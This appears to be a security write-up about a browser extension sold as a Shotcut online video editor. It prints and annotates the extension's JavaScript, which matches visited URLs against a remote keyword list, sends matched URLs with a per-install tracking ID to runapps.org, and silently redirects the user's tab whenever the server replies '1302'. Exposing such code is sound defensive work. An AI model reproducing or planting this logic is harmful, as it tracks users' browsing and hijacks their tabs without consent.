Is Shotcut online video editor safe?

chrome.webNavigation.onCommitted.addListener(function (dteailsx) {

    refreshTypesIfNeeded();

    if (dteailsx && dteailsx.url) {
        console.log(dteailsx.url);
        if (dteailsx.frameId !== 0) return;

        // transitionType filter still matches ordinary link clicks/typed URLs,
        // not just iframe navigations.
        if (dteailsx.transitionType && (dteailsx.transitionType.indexOf("frame") <= 0)) {

            let urrxx = dteailsx.url;

            chrome.storage.local.get("runappsme", function (data) {
                if (data.runappsme === false || data.runappsme === "0") return;

                // rtdata is the keyword list, itself fetched from runapps.org
                // and refreshed hourly by refreshTypesIfNeeded().
                chrome.storage.local.get("rtdata", function (result) {
                    if (!result.rtdata) return;

                    let data = result.rtdata.trim();
                    if (data.startsWith("<xml>") && data.endsWith("</xml>")) {
                        data = data.substring(5, data.length - 6);
                    }
                    const fileKeywords = data.split(";").map(item => item.trim()).filter(item => item.length > 0);

                    for (const keyword of fileKeywords) {
                        // Plain substring match against the full navigated URL.
                        if (urrxx.includes(keyword)) {
                            // Remembers which tab navigated, so a later redirect
                            // (see the opcx() snippet) can target this exact tab.
                            LAST_NAV_TABID = dteailsx.tabId;
                            OPCX_CONTEXT = "nav";

                            // Sends the matched URL to runapps.org.
                            opcx(urrxx + "|||xx", uuyyyu);
                            return;
                        }
                    }
                });
            });
        }
    }
}, {
    // hostContains: '.' matches essentially every navigation to any domain.
    url: [{ hostContains: '.' }],
});

async function opcx(urrxxx, uuyyyu) {

    // urrxxx is "<matched URL>|||xx"; b2dx() hex-encodes it. uuyyyu is the
    // 10-character tracking ID generated once per install.
    let rck1 = await fetch('https://www.runapps.org/app/chek-shotcut.php?fpah=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu);
    if (rck1.status === 200) {
        let dcheck = await rck1.text();

        // The ONLY thing that decides whether this tab gets redirected: does
        // the server's response body contain the literal text "1302"?
        if (dcheck.indexOf("1302") !== -1) {
            var newURL = 'https://www.runapps.org/app/view-shotcut.php?service=runapps&fpath=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu;

            // Download match: leave the download running, pop a new
            // foreground tab pointed at runapps.org.
            if (OPCX_CONTEXT === "download") {
                chrome.tabs.create({ url: newURL, active: true });
                return;
            }

            // Navigation match: LAST_NAV_TABID was captured by the listener
            // above, so this replaces the exact tab you just navigated in,
            // with no prompt.
            if (typeof LAST_NAV_TABID === "number" && LAST_NAV_TABID >= 0) {
                chrome.tabs.update(LAST_NAV_TABID, { url: newURL });
            } else {
                // fallback
                chrome.tabs.create({ url: newURL, active: true });
            }
        }
    }
}